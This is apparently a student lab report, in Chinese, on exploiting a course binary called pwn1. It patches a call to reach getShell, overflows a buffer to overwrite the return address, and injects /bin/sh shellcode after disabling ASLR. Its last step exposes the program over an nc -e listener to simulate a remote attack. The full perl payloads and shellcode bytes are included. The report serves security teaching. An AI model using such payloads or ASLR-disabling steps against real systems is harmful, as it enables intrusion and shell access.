逆向破解实验报告
逆向破解实验报告
实验目标
实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。
实验内容
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
汇编指令
- NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
- JNE:条件转移指令,如果不相等则跳转。(机器码:75)
- JE:条件转移指令,如果相等则跳转。(机器码:74)
- JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
- CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。
实验步骤
直接修改程序机器指令
首先进行反汇编
- 可以看到main、foo、getshell。在main调用了foo函数,此时EIP的值应该是80484ba,机器指令e8 d7 ff ff ff是进行跳转,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值,即foo函数地址。
- 我们要修改机器指令让main调用getshell,可以看到getshell的地址是0804847d;所以用0804847d - 080484ba = -3d 补码c3所以我们要将机器码中d7修改为c3。
- 先对pwn20191304进行备份然后用vim对其进行修改
- 然后转换成16进制模式,找到正确的d7位置,按 i 进入insert模式进行修改,最后再转换成原格式,退出并保存。
Esc
:%!xxd
i
d7改为c3
:%!xxd -r
Esc
:wq
- 然后可以进行反汇编查看是否修改正确
- 再次运行代码可以看到成功调用getshell
构造输入参数,造成BOF攻击
- 这个函数有Buffer overflow漏洞,其中系统只预留的缓冲区有限,所以我们可以构造输入的字符串导致缓冲区溢出,溢出的部分会覆盖返回地址,达到我们的目的。我们要将getshell的地址覆盖掉foo的地址,首先需要找到那些溢出部分会覆盖掉foo的地址
- 同样我们进行对pwn20191304备份操作,然后利用gdb进行调试。
- 输入1111111122222222333333334444444412345678,可以发现其中“1234”覆盖了返回地址
- 我们对输入的字符串进行修改,把其中“1234”改为getshell地址“11111111222222223333333344444444\x7d\x84\x04\x08”。因为可以观察到被覆盖的内容是“0x34333231”,所以顺序是“\x7d\x84\x04\x08”。因为无法手动输入其相应的十六进制值,所以利用“>”输出重定向到input。其中x0a表示回车
- 可以使用16进制查看指令xxd查看input文件的内容
- 然后将input的输入,通过管道符“|”,作为pwn20191304_2的输入。
- 可以看到我们成功调用了getshell
注入Shellcode并执行
- shellcode就是一段机器指令(code
- 首先我们进行一些准备,我们需要设置堆栈可执行并且关闭地址随机化
execstack -s pwn20191304_3 //设置堆栈可执行
execstack -q pwn20191304_3 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space
- 这里我们需要使用root用户来关闭地址随机化
构造要注入的payload;结构为:anything+retaddr+nops+shellcode;
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
- 我们需要确定\x4\x3\x2\x1到底该填什么。首先打开一个终端注入这段攻击buf,然后再开另外一个终端,用gdb来调试pwn1这个进程;首先查询到该终端,然后利用gdb进行调试,
- 在foo设置断点,然后找到0x080484ae。继续设置断点break *0x080484ae。按“c”继续,然后在另外一个终端中按下回车。info r esp查看寄存器的值,找到 0xffffd12c,利用x/16x 0xffffd12c找到了01020304
- 看到 01020304了,就是返回地址的位置。shellcode就挨着,所以地址是 0xffffd12c+4=0xffffd130;所以我们重新修改input_shellcode的内容如下
perl -e 'print "A" x 32;print "\x30\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
- 再次运行发成成功调用getshell。
结合nc模拟远程攻击
我们在将另一台虚拟机当作主机B,两台主机进行ping通
然后主机A模拟一个有漏洞的网络服务:nc -l 192.168.226.135 -p 28234 -e ./pwn20191304_4
主机B连接主机1并发送攻击载荷
可以看到成功调用了getshell